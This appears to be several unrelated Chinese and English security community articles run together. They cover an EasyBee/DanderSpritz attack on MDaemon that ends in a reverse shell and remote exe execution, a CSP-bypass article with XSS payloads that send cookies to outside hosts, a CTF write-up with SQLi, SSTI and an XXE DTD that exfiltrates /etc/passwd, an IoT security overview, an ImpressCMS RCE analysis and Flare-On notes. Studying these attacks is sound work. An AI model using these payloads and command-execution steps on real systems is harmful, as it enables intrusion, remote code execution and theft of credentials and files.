之后又试了靶机的几个路径都提示同样的错误，无奈找@漠北狂刀大牛逆了一下这个exe，通过找错误提示的字符串快速定位到代码位置
[
从图中可以看出参数读取后，有一个fopen的动作，Filename对应的参数就是PayloadFile，所以应该是一个全路径
输入完整路径
PayloadFile c:\111.exe （111.exe生成方法，下文会说）
[
这里选择安装的MDaemon中WorldClient对应的版本号即可，如果不知道版本号可以用
\windows\touches\目录下的两个脚本，帮助探测WC与WA的版本号
[
## **0×04 DanderSpritz**** 工具介绍**
网上有好多同学在反连shell的时候都是用msf，其实这个工具包里自带的就有一个好用的工具DanderSpritz
双击Start.jar或者运行start_lp.py，如图
[
设置log路径，进入主界面
[
输入help，查看命令
[
各个命令的作用可以自己研究
输入pc_prep，查看payload列表
[
选择3，使用Standard TCP反弹shell，根据提示配置参数
[
[
配置成功后，生成payload，将文件copy到C:\111.exe
在PeddleCheap中选择listen，开启监听（默认监听端口80/443/53/1509）
[
****
在FB中执行 execute
[
大约几秒后DanderSpritz会有连接提示
[
输入yes，靶机的系统信息被回传显示
[
进程信息
[
驱动信息
[
## 0×05 MDaemon漏洞分析
根据log文件分析，MDaemon存在几处执行命令的地方
使用hello登录WA，查看 My Account->Auto Resp
在设置自动回复的地方存在一处命令执行（需要有管理员权限）
勾选自动回复
[
在Run Program（普通用户无此选项）处输入
cmd /c “type $MESSAGE$ | findstr /b @@ | cmd /v”
给[email protected]发送邮件， payload（读取服务器文件内容）如下
[
[
发送后，在hello的收件箱里可以看到服务器的信息
路径信息
[
找到MDaemon的物理路径及密文
[
MDaemon是内置的账户，查看明文密码的方法如下：
[
点击Users->Export用户信息保存在导出文件里
[
使用MDaemon账户登录WA，在Content Filter中，新建过滤规则
[
将以下几项选上
[
设置内容
[
过滤的字符串SUBJECT HEADER contains “subject”
指定上传的附件名：EmailFile （附件为上文中生成的111.exe）
Run a program :
[
File Path写入：
cmd /c “move /Y EmailFile c:\111.exe & c:\111.exe & del c:\111.exe”
c:\111.exe为上传到服务器的路径
[
使用hello登录WC
发送邮件主题为qwe
再次发送一封带附件的（EmailFile）邮件，主题：subject（设置的过滤字符串）
[
添加附件
[
再次发送邮件
Payload：
[http://192.167.30.201:3000/WorldClient.dll?Session=DSMQIQW&View=Compose&ComposeInNewWindow=Yes&ChangeView=No&SendNow=Yes](http://192.167.30.201:3000/WorldClient.dll?Session=DSMQIQW&View=Compose&ComposeInNewWindow=Yes&ChangeView=No&SendNow=Yes)
postdata：
[
可以看到111.exe已经运行了
[
## 0×06 总结
1.使用EasyBee的时候遇到了几个坑（其中xml文件中有这么几个提示“Filename for executable payload once on
the target”，当时在target试了好几次没成功），浪费了不少时间。所以说自己在写工具的时候备注、用法一定得详细，否则容易误导
2.第一次测试是在10.0.1上，未成功，在9.6.6上测试成功，其他版本未测试。根据xml的说明，EaseBee应该只对 9.5.2-10.1.2版本有用 | 社区文章 |
**Author: LoRexxar'@Knowsec 404 Team**
**Chinese version:<https://paper.seebug.org/423/>**
## 0x01 The beginning of front-end defense
The reason for a basic XSS vulnerability page is that the user data is not
effectively filtered from input to output, as shown in the sample code below.
<?php
$a = $_GET['a'];
echo $a;
For such an unfiltered pages, we can construct an XSS vulnerability exploit in
a variety of ways.
a=<script>alert(1)</script>
a=<img/src=1/onerror=alert(1)>
a=<svg/onload=alert(1)>
For such vulnerability points, we usually use the `htmlspecialchars` function
to filter the input, which can deal with 5 symbols.
& (AND) => &
" (双引号) => " (当ENT_NOQUOTES没有设置的时候)
' (单引号) => ' (当ENT_QUOTES设置)
< (小于号) => <
> (大于号) => >
In a general, such filtering may be sufficient for the above pages, but
actually there will be more occasions than you expect.
<a href="{输入点}">
<div style="{输入点}">
<img src="{输入点}">
<img src={输入点}>(没有引号)
<script>{输入点}</script>
For such case, the above filtering does not make any sense, especially when
the input point is in a script tag.
Generally speaking, to be able to deal with such XSS points, more filtering
methods will be used.
Firstly, we may need to filter so many symbols as follows:
% * + , – / ; < = > ^ | `
However, excessive filtering of symbols seriously affects the user's normal
input, which is why this kind of filtering is rarely used.
Most people will choose to combine `htmlspecialchars` function with blacklist.
on\w+=
script
svg
iframe
link
…
It seems no problem if this filtering method is good enough, but recalling
many XSS vulnerabilities, it’s found out that most of them are created from
where the filter function ignores.
So, is there a lower-level defense that can defend against vulnerabilities
from the browser level?
In such case, CSP is created.
## 0x02 CSP（Content Security Policy）
Content Security Policy (CSP), an additional Security layer, helps detect and
mitigate certain types of attacks, including cross-site scripting (XSS) and
data injection attacks.
The characteristic of CSP is that it defenses at the browser level, the same
level as the same-origin policy. Unless there is a vulnerability in the
browser itself, it is impossible to bypass the mechanism.
CSP only allows the parsing of approved JS blocks, JS files, CSS, etc., and
only allows requests to be made to the specified domain.
A simple CSP rule might be as follows:
header("Content-Security-Policy: default-src 'self'; script-src 'self' https://lorexxar.cn;");
There are many types of instructions, each of which is in charge of part of
the request in the browser.
Each instruction has a different configuration.
To put it simply, there are corresponding loading strategies for different
sources and different ways of loading resources.
We can say that if there is a strict enough CSP rules, then XSS or CSRF can be
prevented from its source, but is it the real case?
## 0x03 CSP Bypass
CSP can be so strict that it conflicts with many websites themselves. In order
to be compatible with various situations, CSP has many loose modes to adapt
to.
While facilitating developers, many security issues arise.
There are two kinds of defenses against front-end attacks in CSP:
1. Limit the execution of JS.
2. Limit requests of untrusted domains.
The following “Bypass” methods are also related to these two points.
### 1
header("Content-Security-Policy: default-src 'self '; script-src * ");
It is such a brilliant CSP that it can load JS of any domains.
<script src="http://lorexxar.cn/evil.js"></script>
If CSP is invalid, you can use any attack method.
### 2
header("Content-Security-Policy: default-src 'self'; script-src 'self' ");
The most common CSP rules only allows to load JS of the current domain. If we
upload an image with JS content, it will be in the current domain of the
website.
alert(1);//
Load the image directly.
<script src='upload/test.js'></script>
### 3
header(" Content-Security-Policy: default-src 'self '; script-src http://127.0.0.1/static/ ");
When you find it unsecure to set `self`, you may choose to limit the trusted
domain of the static file to the directory. But if there is a controllable
redirect file in the trusted domain, the CSP's directory restrictions can be
bypassed.
Suppose there is a 302 file in the static directory.
Static/302.php
<?php Header("location: ".$_GET['url'])?>
Upload a `test.jpg` like before, then jump to the upload directory to load JS,
and you can execute successfully.
<script src="static/302.php?url=upload/test.jpg">
### 4
header("Content-Security-Policy: default-src 'self'; script-src 'self' ");
Apart from preventing parsing of untrusted JS, another function of CSP is to
block requests to untrusted domains.
Under the above CSP rules, if we try to load the image from the external
domain, it will be blocked.
<img src="http://lorexxar.cn/1.jpg"> -> 阻止
In the evolution of CSP, there will inevitably be some omissions.
<link rel="prefetch" href="http://lorexxar.cn"> (H5预加载)(only chrome)
<link rel="dns-prefetch" href="http://lorexxar.cn"> （DNS预加载）
In CSP 1.0, the restrictions on link are not complete. Support of different
browsers for CSP is incomplete, including Chrome and Firefox. Each browser
maintains a CSP rule that includes CSP 1.0, partial CSP 2.0, and a small
percentage of CSP 3.0.
### 5
No matter how strict the CSP is, you never know what kind of code will be
written.
The following is a sample code from Google team’s report on CSP last year.
// <input id="cmd" value="alert,safe string">
var array = document.getElementById('cmd').value.split(',');
window[array[0]].apply(this, array.slice(1));
By chance, you write a JS that executes an input string.
In fact, many modern frameworks have code that parses strings from a given tag
as JS to execute.
“Angular Js” even has “ng-csp” tag to be fully compatible with CSP, and can be
executed smoothly in the presence of CSP.
In this case, CSP is meaningless.
### 6
header("Content-Security-Policy: default-src 'self'; script-src 'self' ");
Maybe there is no such problem in your site and you may use JSONP to get data
across domains, but JSONP itself is the nemesis of CSP and it deals with
cross-domain problems, so it must be in the trusted domain.
<script
src="/path/jsonp?callback=alert(document.domain)//">
</script>
/* API response */
alert(document.domain);//{"var": "data", ...});
So you can construct arbitrary JS, even if you limit `callback` and get the
data of `\w+` only, some JS can still be executed, and combine with some
special attack methods and situations, there is still a hazard.
The only way is to set the return type as JSON format.
### 7
header("Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' ");
This is the most common CSP rule compared to the previous CSP rules.
`Unsafe-inline` is a strategy for handling inline scripts. When the `script-src` in CSP allows inline scripts, the scripts added directly in the page can
be executed.
<script>
js code; //在unsafe-inline时可以执行
</script>
Since we can execute arbitrary JS code, the remaining question is how to
bypass the restrictions on trusted domains.
#### 1 Generate “link prefetch” via JS
var n0t = document.createElement("link");
n0t.setAttribute("rel", "prefetch");
n0t.setAttribute("href", "//ssssss.com/?" + document.cookie);
document.head.appendChild(n0t);
This method can only be used in Chrome, but it works surprisingly well.
#### 2 JMP
In the mechanism of browsers, jump is cross-domain behavior.
<script>location.href=http://lorexxar.cn?a+document.cookie</script>
<script>windows.open(http://lorexxar.cn?a=+document.cooke)</script>
<meta http-equiv="refresh" content="5;http://lorexxar.cn?c=[cookie]">
Through cross-domain requests, we can send all kinds of information we want.
#### 3 Cross-domain request
In browsers, there are many cross-domain requests, the typical of which is
“href”. And submitting form is also a cross-domain request.
var a=document.createElement("a");
a.href='http://xss.com/?cookie='+escape(document.cookie);
a.click();
## 0x04 The dilemma and upgrade of CSP
After CSP was officially proposed as a means of mitigating XSS attacks,
various problems continually broke out within a few years.
In December 2016, the Google team released a research article-- [CSP is Dead,
Long live
CSP](https://static.googleusercontent.com/media/research.google.com/en//pubs/archive/45542.pdf
"CSP is Dead, Long live CSP").
Using their powerful search engine library, the Google team analyzed CSP
deployment patterns for more than 160 million hosts. The results are as
follows:
The load script is most commonly whitelisted with 15 domains, 14 of which are
unsecure, so 75.81% of the policies allow the attacker to bypass the CSP
because of the script whitelist. In summary, we found that 94.68% of the
policies that attempted to limit script execution were invalid, and 99.34% of
CSP policies developed by hosts with CSP did not help to defense XSS.
In the paper, the Google team officially proposed two types of CSP that were
previously proposed.
**1\. nonce script CSP**
header("Content-Security-Policy: default-src 'self'; script-src 'nonce-{random-str}' ");
Generate the nonce string dynamically, and only script blocks containing nonce
fields and strings of equal value can be executed.
<script nonce="{random-str}">alert(1)</script>
This string can be implemented on the backend and regenerated every time the
request is made, so that you can ignore which domain is trusted, as long as
the arbitrary resources loaded are trusted.
<?php
Header("Content-Security-Policy: script-src 'nonce-".$random." '"");
?>
<script nonce="<?php echo $random?>">
**2\. strict-dynamic**
header("Content-Security-Policy: default-src 'self'; script-src 'strict-dynamic' ");
`strict-dynamic` means that the JS code generated by trusted JS is trusted.
This CSP rule is mainly used to adapt to a variety of modern front-end
frameworks, through which it is possible to substantially avoid loose CSP
rules.
The Google team hopes to address various CSP issues arising from the
development of the frontend by means of these two methods, but it's far from a
one-shot deal.
**1\. nonce script CSP Bypass**
In December 2016, after the Google team proposed the nonce script CSP,
Sebastian Lekies put forward fatal flaw at Christmas.
**[Nonce CSP cannot defense against pure static DOM XSS at
all.](http://sirdarckcat.blogspot.jp/2016/12/how-to-bypass-csp-nonces-with-dom-xss.html "Nonce CSP cannot defense against pure static DOM XSS.")**
The advent of the Web 2.0 era has made the frontground and background interact
more and more. In order to cope with this, modern browsers have a caching
mechanism, but when there is no modification in the page or don’t need to
request the background, the browser will read the content of the page from the
cache.
**location.hash** is a typical example.
If there is XSS in the JS as a result of performing “location.hash”, then such
an attack request will not go through the background, so the random value
behind the nonce will not be refreshed.
I have come up with [CTF questions](https://lorexxar.cn/2017/05/16/nonce-bypass-script/ "CTF questions") about this CSP Bypass method.
Apart from the common “location.hash”, a new attack method is proposed--read
page content through the CSS selector.
*[attribute^="a"]{background:url("record?match=a")}
*[attribute^="b"]{background:url("record?match=b")}
*[attribute^="c"]{background:url("record?match=c")} [...]
When matching the corresponding attribute, the page will send the
corresponding request. The page only changes CSS, and it is pure static XSS，
so CSP is invalid.
**2\. strict-dynamic Bypass**
On Blackhat in July 2017, the Google team put forward a new attack method--Script Gadgets.
header("Content-Security-Policy: default-src 'self'; script-src 'strict-dynamic' ");
"Strict-dynamic" is proposed to adapt to modern frameworks, while it is just
the characteristic of modern frameworks.
Script Gadgets are similar to short tags and can be seen everywhere in modern
JS frameworks.
For example:
Knockout.js
<div data-bind="value: 'foo'"></div>
Eval("foo")
<div data-bind="value: alert(1)"></dib>
bypass
Script Gadgets itself is dynamically-generated JS, so it is almost a
destructive “Bypass” to the new CSP.
## 0x05 Conclusion
Combining blacklist with CSP is still the most reliable defense, but there is
no end to defense.
## 0x06 Reference
* [1] <https://paper.seebug.org/91/>
* [2] <http://sirdarckcat.blogspot.jp/2016/12/how-to-bypass-csp-nonces-with-dom-xss.html>
* [3] <https://xianzhi.aliyun.com/forum/read/523.html>
* [4] <https://lorexxar.cn>
## About Knownsec & 404 Team
Beijing Knownsec Information Technology Co., Ltd. was established by a group
of high-profile international security experts. It has over a hundred frontier
security talents nationwide as the core security research team to provide
long-term internationally advanced network security solutions for the
government and enterprises.
Knownsec's specialties include network attack and defense integrated
technologies and product R&D under new situations. It provides visualization
solutions that meet the world-class security technology standards and enhances
the security monitoring, alarm and defense abilities of customer networks with
its industry-leading capabilities in cloud computing and big data processing.
The company's technical strength is strongly recognized by the State Ministry
of Public Security, the Central Government Procurement Center, the Ministry of
Industry and Information Technology (MIIT), China National Vulnerability
Database of Information Security (CNNVD), the Central Bank, the Hong Kong
Jockey Club, Microsoft, Zhejiang Satellite TV and other well-known clients.
404 Team, the core security team of Knownsec, is dedicated to the research of
security vulnerability and offensive and defensive technology in the fields of
Web, IoT, industrial control, blockchain, etc. 404 team has submitted
vulnerability research to many well-known vendors such as Microsoft, Apple,
Adobe, Tencent, Alibaba, Baidu, etc. And has received a high reputation in the
industry.
The most well-known sharing of Knownsec 404 Team includes: [KCon Hacking
Conference](http://kcon.knownsec.com/#/ "KCon Hacking Conference"), [Seebug
Vulnerability Database](https://www.seebug.org/ "Seebug Vulnerability
Database") and [ZoomEye Cyberspace Search Engine](https://www.zoomeye.org/
"ZoomEye Cyberspace Search Engine").
* * * | 社区文章 |
## Background
打了一周左右的0x41414141 ,这个比赛的web还是有一些值得记录的点，所以写篇记录来记录一下
## graphed 2.0
国内对graphql的考点还是比较少的，据我所知道的只有unctf2019,这道题目对于题目的设计和解题方案会让你觉得还蛮有趣的
一开始看到这个提交笔记的点，我直接尝试一下发现不行,viewsource一下
他给出了graphql查询的接口
因为我一直知道graphql 有个注入的洞，所以当时满脑子想的都是怎么注入拿数据了，结果没什么收益，所以我直接通过那个查询接口列出一些数据
甚至在coolNotes里面发现了 flag，后来发现是个fake
但是如果你足够敏锐的话，可以看到getNote 有个q参数。所以我决定提交个空参数来试一下
query{
getNote(q: "'"){
uuid
title
body
authorId
id
}
}
结果我收到了返回值
{
"errors": [
{
"message": "(sqlite3.OperationalError) unrecognized token: \"'''\"\n[SQL: SELECT * FROM NOTES where uuid=''']\n(Background on this error at: http://sqlalche.me/e/13/e3q8)",
"locations": [
{
"line": 2,
"column": 3
}
],
"path": [
"getNote"
]
}
],
"data": {
"getNote": null
}
}
很明显了，在这个参数里面居然是一个sqlite注入，并且这个错误能告诉我们好多东西了，比如，这是一个sqlite数据库，有个表名是Note
uuid是其中一个列，剩下的就是常规的注入了
常规payload步骤
`{getNote(q:"'UNION SELECT,tbl_name,3,4 FROM sqlite_master WHERE
type%3d'table'--"){body,title}`
表名是'\u0627\u0644\u0639\u0644\u0645'，赛后发现居然真的有师傅解了233
`query {getNote(q: "' UNION SELECT 1, flag,3, 4 FROM
'\u0627\u0644\u0639\u0644\u0645'--"){body,title}`
Flag found! flag{h0p3_u_can't_r3@d_1t9176}
推荐阅读:<https://book.hacktricks.xyz/pentesting/pentesting-web/graphql>
推荐观看:<https://www.youtube.com/watch?v=ZQL7tL2S0oQ>
## maze
尝试一些口令登陆没有效果，于是搜寻一下信息，发现有/robots.txt
/sup3r _secr37_ @p1
访问这个路由
直接给了一个graphql界面，先看一下大概 ,password在哪里
然后就是直接尝试读取这个password，当时我就觉得好奇怪，username和password不在一起
后来怎么也登录不上去，于是尝试在password附近读一下其他东西
然后我就用title,password成功登陆了，服了
打开就三个交互页面,并且还有/admin，估计我们要进入他了
很自然而然的又想到了是sql注入啦
经过测试还是sqlite
所以我们照常注入即可
账号密码
`admin/p0To3zTQuvFDzjhO9`
进入发现是个动画界面
直接看下cookies
发现name里面也有skid，想到可能是ssti
尝试{{1+1}}
果然是这样
`{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='Repr'
%}{{ [].__class__.__base__.__subclasses__().index(c) }}{% endif %}{% endfor
%}`
先用这个方法探测可用类
得到147
然后就读flag就好
一道四字符命令执行的题目，后来发现是五步，这个我一开始非预期了
ls发现当前有个core,直接cat就读到flag,后来pop_eax和我说他修复了，让我再看看
那我就直接创建一个cat空文件
然后再传入 _/f_ 即可
flag{ju57_g0tt@_5pl1t_Em3012}
## Special order
一道有意思的题，开头让注册登录，抓了半天包在这个修改页面发现一些有趣的事情
在customesize这里
把content-type头改xml，可以写入xml
那就直接考虑xxe
我们在服务器写一个
`<!ENTITY % file SYSTEM "file:///etc/passwd">`
`<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM
'http://givemeflag.com/?x=%file;'>">`
`%eval;`
`%exfiltrate;`
然后发送xxe请求即可
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://xxx/main.dtd">
%sp;
%param1;
]>
<root>
<size>&exfil;</size>
<color>red</color>
</root>
flag{i7_1s_n0t_s0_bl1nd3721}
## firstapp
提示no logged in
直接尝试访问/login
随便输入一个账号登陆
发现了三个动态交互的页面,我查看了一下http头
发现这个
使用express写的，去找了些express的洞，但是这道题只有三个页面
并且还是id开头
再次尝试sql注入没反应，我尝试直接加个flag
something here,
那就是这个logo了
图片隐写我并不擅长，所以我使用了在线工具
<https://aperisolve.fr/>
在steghide里面有个文件
看样子可以进行内网的文件探测或者读取
刚开始因为没审题，没有get到点，后来一个师傅给了hint 这题关键点是
`I tried to serve it as local file`
本地机器访问，127.0.0.1
本地文件 get_file?file=
可能还是我英语不好的原因，错过了提示信息
<http://45.134.3.200:3000/get_url?url=http://127.0.0.1:3000/get_file?file=flag.txt>
直接get flag
## waffed
我发现当我尝试进行选择coin的时候
value的值
正好是base64加密后的coin名称
我们在js里面尝试回溯这个函数
function switchCoin() {
window.location = "/changeFeed/" + document.getElementById("coinlist").value
}
所以加密flag.txt通过不断试目录即可
如果不存在coin会存在woops
最终payload:`../../../../../../../../flag.txt`
## 0x414141
非常有趣的一道题
`I think offshift promised to opensource some of their code`
访问他们官方的文档
发现他删除了_pycache_directory
下载下来并进行反编译
uncompyle6 -o . script.cpython-38.pyc
代码如下
import base64
secret = 'https://google.com'
cipher2 = [b'NDE=', b'NTM=', b'NTM=', b'NDk=', b'NTA=', b'MTIz', b'MTEw', b'MTEw', b'MzI=', b'NTE=', b'MzQ=', b'NDE=', b'NDA=', b'NTU=', b'MzY=', b'MTEx', b'NDA=', b'NTA=', b'MTEw', b'NDY=', b'MTI=', b'NDU=', b'MTE2', b'MTIw']
cipher1 = [base64.b64encode(str(ord(i) ^ 65).encode()) for i in secret]
一个简单的reverse就好
result = [chr(int(base64.b64decode(i).decode())^65) for i in cipher2]
print(''.join(result))
得到一个链接 <https://archive.is/oMl59>.
下载得到的pdf文件无法打开
官方给出hint 文件和官方名有关系
将文件的每个字节和0x41进行异或，脚本如下
corrupted = open('smashing.pdf', 'rb')
data = corrupted.read()
new_file = open('unsmashed.pdf', 'wb')
new_file.write((''.join(chr(i ^ 0x41) for i in data)).encode('charmap'))
发现文件里并没有什么，想到可能里面有压缩包，我们用fcrackzip进行爆破
get flag | 社区文章 |
Authour：Mr.Bingo
地址：http://oddboy.cn/2018/01/智能硬件安全一瞥/
>
> 智能硬件安全算是一个相对较新的领域，既有传统的安全问题(云服务器安全、APP安全、通讯安全等)，又有属于电子产品范畴的安全。简单看看其涉及到的知识领域，评估下自己如何在该领域循序渐进。
## 智能硬件安全概览
随着万物互联的物联网思维发酵，原本自成系统的硬件设备及其自有网络（Bluetooth、Zigbee、Can总线等）接入到互联网中，打破原本隔离的状态，成为了今天大家熟知的智能硬件。使其在得到互联网加持的同时，也相应的需要面对互联网中的安全威胁。例如：关注度比较高的车联网安全，很多问题便是由于原本封闭安全的can总线网络接入到互联网之后带来的。
目前的智能硬件，其一般情况下部署架构均如图所示，个别情况可能缺少云端或者APP端。
[
所以，谈论智能硬件安全，其实三端点(终端设备+云端+APP)+ 三条线(三者之间的通讯)所涉及的安全问题。
## 点·终端设备安全
你以为硬件设备都长什么样呢? 如下便是扒光外壳后硬件本来的样子，其实这就是赫赫大名的树莓派。
[
* 接口安全
有些硬件可能为了维修方便，都留有编程口（JTAG、ISP的等）、数据通信口（USB、SPI、CAN、UART等有线通信及WIFI、Zigbee、Bluetooth等无线通信）。这些接口未做相应的防护，导致终端直接面临安全风险。
* 固件安全
固件（运行在硬件上的程序代码）安全主要关注点应该是固件的保密性措施。固件被盗被逆向，那么自家产品的复制品很快也就出来了。对于长开发周期的电子行业来讲，这是比较沉重的打击。
一般的，有三种获取固件的方式：
> **官网链接下载**
> **捕获升级包**
> **直接用调试器从硬件读取**
* IC芯片破解
这部分与固件安全有一定的交集，但相对于上一点有所区别，较多的依赖芯片厂商，硬件厂商需要认真评估芯片的安全性，并考虑做一些额外处理（如清除芯片型号、充分使用芯片安全特性等）
> 【芯片漏洞】
> 如利用单片机时序漏洞使单片机停留在解密状态；空白区域插入代码，将片内程序读取并传送出来。
>
> 【探针技术】
> 直接破开芯片外壳，暴露内部连接，然后观察、操控、干扰芯片。
>
> 【过错产生技术】
>
> 使用异常工作条件来使处理器出错，然后提供额外的访问来进行攻击。使用最广泛的过错产生攻击手段包括电压冲击和时钟冲击。电源和时钟瞬态跳变可以在某些处理器中影响单条指令的解码和执行。
>
> 【紫外线攻击】
> 紫外线攻击也称为UV攻击方法，就是利用紫外线照射芯片，让加密的芯片变成了不加密的芯片，然后用编程器直接读出程序。这种方法适合OTP的芯片。
>
> 【其它方法】
> 如熔丝恢复、修改加密线路、电子探针等。
* 固件漏洞
关于固件漏洞，大家应该相对更加耳熟能详的，经常爆出的路由器漏洞便属于此类。
* 固件篡改 & 降级攻击
如果固件代码被攻击者篡改，重新烧录或伪装为升级服务器，终端便沦为肉鸡。降级攻击主要是将固件降级到存在漏洞的版本，以便攻击者进行利用。
* 数据存储不安全
硬件终端的丢失与失窃是非常正常的事，然而这些终端中却往往有用户非常敏感的个人数据。如果终端设备未对数据进行加密存储，那么用户信息、会话令牌，甚至明文口令都可能被直接读取。
## 点·APP安全
* 应用反编译
大多数APP客户端安全问题都源于APP被反编译，虽然没有百分百杜绝反编译的措施，但堆高破解门槛还是需要考虑的。
* 组件类漏洞
> Activity公开组件暴露
> Broadcast Receiver组件调用漏洞
> Service组件任意调用漏洞
* 敏感信息泄露
> 硬编码敏感信息泄露漏洞
> 外部存储设备信息泄露漏洞
> PendingIntent包含隐式Intent信息泄露漏洞
* 其它
> 本地拒绝服务漏洞
> Android App allowBackup安全漏洞
> 运行其它可执行程序漏洞
## 点·云端安全
也就是服务端主机的安全。这是白帽子聚集最多，也是最成熟的信息安全领域。
* 基础架构类安全问题
主机漏洞、中间件漏洞、协议漏洞、数据库漏洞等等。。。
* 登录体系类安全问题
账号注册/登录漏洞、弱口令、验证码安全等等。。。
* 权限认证类安全问题
未授权访问、越权访问、支付漏洞等等。。。
* 输入输出类安全问题
SQL注入、XSS、XXE、反序列化、文件上传、文件包含、CSRF、弱口令等等。。。
## 线·APP - Cloud
这部分的安全问题，在移动端测试中经常关注到，大部分也就是云端安全的问题。
## 线·IoT - Cloud
这部分通信与APP-Cloud直接的通信的主要区别在于，终端到服务器直接的数据传递多以API接口为主，通信协议使用的相对多一些，如XMPP、MQTT、COAP、RESTful
HTTP等，这些通信协议的安全性还有待考验。
同时，由于传统的嵌入式开发工程师在安全开发方便的经验相对缺失，以及已有程序未考虑现有应用环境带来的安全问题。
* 数据传输未加密
在智能硬件的使用过程中，网络环境可能不断变化，极有可能连接上被人嗅探、监控的网络。所以传输的数据必须是加密的。
* 秘钥保护措施不当
有些智能硬件考虑到了加密传输，但却使用对称加密方式。如果秘钥存放不当，那么加密传输也就变得毫无意义。
* 业务漏洞
从传统的单机应用接入到云端之后，功能变得更多更复杂的同时，权限的管理也变得复杂，如果服务端未做充分的验证工作，将存在较多问题。
* 身份认证措施不当
每个硬件都有自己的一个身份标识，如果该身份标识未能安全的运用于身份认证，那么将很容易引起越权类漏洞。如：以硬件Mac地址或产品序列号作为会话认证标志的情况。
* 越权漏洞
服务端和终端上权限管控不当导致越权漏洞，如免费使用服务、越权控制别人的设备等等。
## 线·IoT - APP
很多情况下也是因为新的应用环境导致的认知不足所致。
* 身份认证措施不当
移动端与终端的绑定需要的认证信息必须自个安全的进行存储，如有必要考虑其他认证措施同时使用。避免硬件被别人控制。
* 未授权访问
某些智能硬件的服务对同一局域网其它设备开放性的访问。这显然也是不安全的，毕竟WiFi密码并不安全。
* 数据传输未加密
同“IOT - Cloud”
## 技能图
按照个人的粗浅理解，简单绘制了智能硬件安全白帽子的成长路线图。抛砖引玉，大咖们轻拍！
[
* * *
【参考资料】
<http://www.eefocus.com/icpojie/blog/17-02/405496_d2475.html>
<http://blog.knownsec.com/Knownsec_RD_Checklist/>
<https://zhuanlan.zhihu.com/p/22273147>
<http://www.freebuf.com/articles/terminal/117262.html> | 社区文章 |
# Impress-CMS-1.4.2-自动任务处rce
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
ImpressCMS 是一个开源内容管理系统，旨在轻松安全地管理多语言网站。
自动任务处存在任意代码执行，从而导致RCE
## 功能点分析
cms安装好之后，登陆管理员账号密码。大概是下面这个样子。
来到`Administration Menu`–`Auto Tasks`
点击`Create new task`，红框中自动执行就是自动执行的任务的源代码。
现在我们不知道这个框中是否可以输入任意代码？即使可以输入任意代码，后续有没有过滤？
下面从源码层面来分析一下。
## 源码分析
首先想到的是找到这个功能点对应的源码，一步步跟。但是这里看了下，过程有点多。于是决定采用关键字的方法。
先随便创建一个任务
通过抓包，找到`Source Code`窗口对应的关键字，关键字`sat_code`，响应了一个跳转，响应体为空。
下面搜索这个关键字，跟一下它的处理过程。可以看到，主要集中在这三个文件中。
先看下对这个关键字调用最少的文件：
`update-112-to-122.php`。是在一个创建数据库表的字段的位置。同时也通读了下这个文件，没有变量，没有输入，直接忽略。也并不一定说这个文件肯定没问题，只是这里不考虑。
下面看一下第二个相关文件：`modulesadmin.php`。
第一处：将自动任务模块的任务添加到系统自动任务列表。生成处理程序对象，设置用户输入的值，传递给处理程序进行处理。
下面继续跟进处理程序
处理程序位置：`/modules/system/admin/autotasks/class/autotasks.php`
处理程序：`SystemAutotasksHandler`
最后，来到`/modules/system/admin/autotasks/class/autotasks.php`文件
第一处：
第二处：
至此，`Source Code`窗口的处理过程基本分析完毕。可以看到，中间并没有对其进行过滤。可以直接执行任意代码。
我的这种方法跟平时的过程调试不太一样，比过程调试、一步步跟代码，要快很多。
当然，也可以补充一下过程调试，前面分析过，用户创建的任务，传递给了系统。
在核心启动过程结束时触发的函数，在如下位置下断点：
然后创建新的自动任务
来到断点
跟进`execTasks()`
跟进`exec()`，可以看到，没有对要执行的代码做任何过滤和拦截。
## 验证
创建自动任务
执行 | 社区文章 |
# Flare-On 8th两道题目复现
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
Flare-On8由FireEye公司于今年9月份至10月份期间举办，共10道题目。笔者从中选取了自己感兴趣的三道题目进行复现，下文是前两道题目复现过程中所作笔记，第三道题目涉及到的技术点及分析过程笔者会单独写一篇文章。
* 题目下载：[Flare-On8 Challenges](https://flare-on.com/files/Flare-On8_Challenges.zip)
* WriteUp：[Flare-On 8 Challenge Solutions](https://www.mandiant.com/resources/flare-on-8-challenge-solutions)
## 0x01 Challenge 5:Flare Linux VM
题目描述如下：
压缩包中文件：
使用VMWare导入`FLARE Linux VM.ovf`文件，在打开虚拟机之前将网络连接修改为”桥接模式”，方便后续通过`scp`复制文件：
以`root`身份登录，密码为 **flare** 。进入到`Documents`目录下查看：
新建一TXT文件，过一段时间查看发现其扩展名由`.txt`变为`.txt.broken`。使用`crontab
-l`命令列出计划任务(若读者之前未接触过，可翻阅《鸟哥的Linux私房菜》第15章或是[crontab(5) — Linux manual
page](https://man7.org/linux/man-pages/man5/crontab.5.html))：
在另一Linux虚拟机中使用`scp`命令将该文件复制出来，查看其详细信息：
将`getenv`函数返回值与”/Documents”字符串拼接成绝对路径传递给`opendir`函数，调用`readdir`函数遍历该目录下文件。
将`d_name`字段值与`.`及`..`进行比较，之后判断后缀是否为`.broken`：
如果上述条件均不满足，则进行加密：
加密函数只对原文件前0x400字节进行加密并写入`.broken`文件(若不足0x400字节，最后`.broken`文件亦是0x400字节大小，具体见下面对`encrypt`函数的分析)，之后调用`remove`函数来删除原文件。
可以看到其加密函数采用变形RC4算法，区别在于最后的异或运算。使用`crontab
-r`命令删除计划任务，将`Documents`目录下所有文件的`.broken`扩展名去掉：
#!/bin/bash
for name in `ls *.broken`
do
mv $name ${name%.broken}
done
再执行一次`/usr/lib/zyppe`即可完成解密。逐一查看解密后文件，发现下面四个文件内容是未加密的：
按照`ugali.txt`文件给出提示，将`Sausages.txt`
和`Spaghetti.txt`拖入CyberChef，执行Arithmetic/Logic中的Rotate Left运算：
“c3BhZ2hldHRp”是”spaghetti”的Base64编码：
按照`shopping_list.txt`文件给出提示，进入`/usr/bin`目录，发现存在`dot`文件：
使用IDA打开：
计算输入的SHA256值，与`b3c20caa9a1a82add9503e0eac43f741793d2031eb1c6e830274ed5ea36238bf`进行比较，相等才会中止循环。按照`shopping_list.txt`文件给出顺序，查看`reeses.txt`：
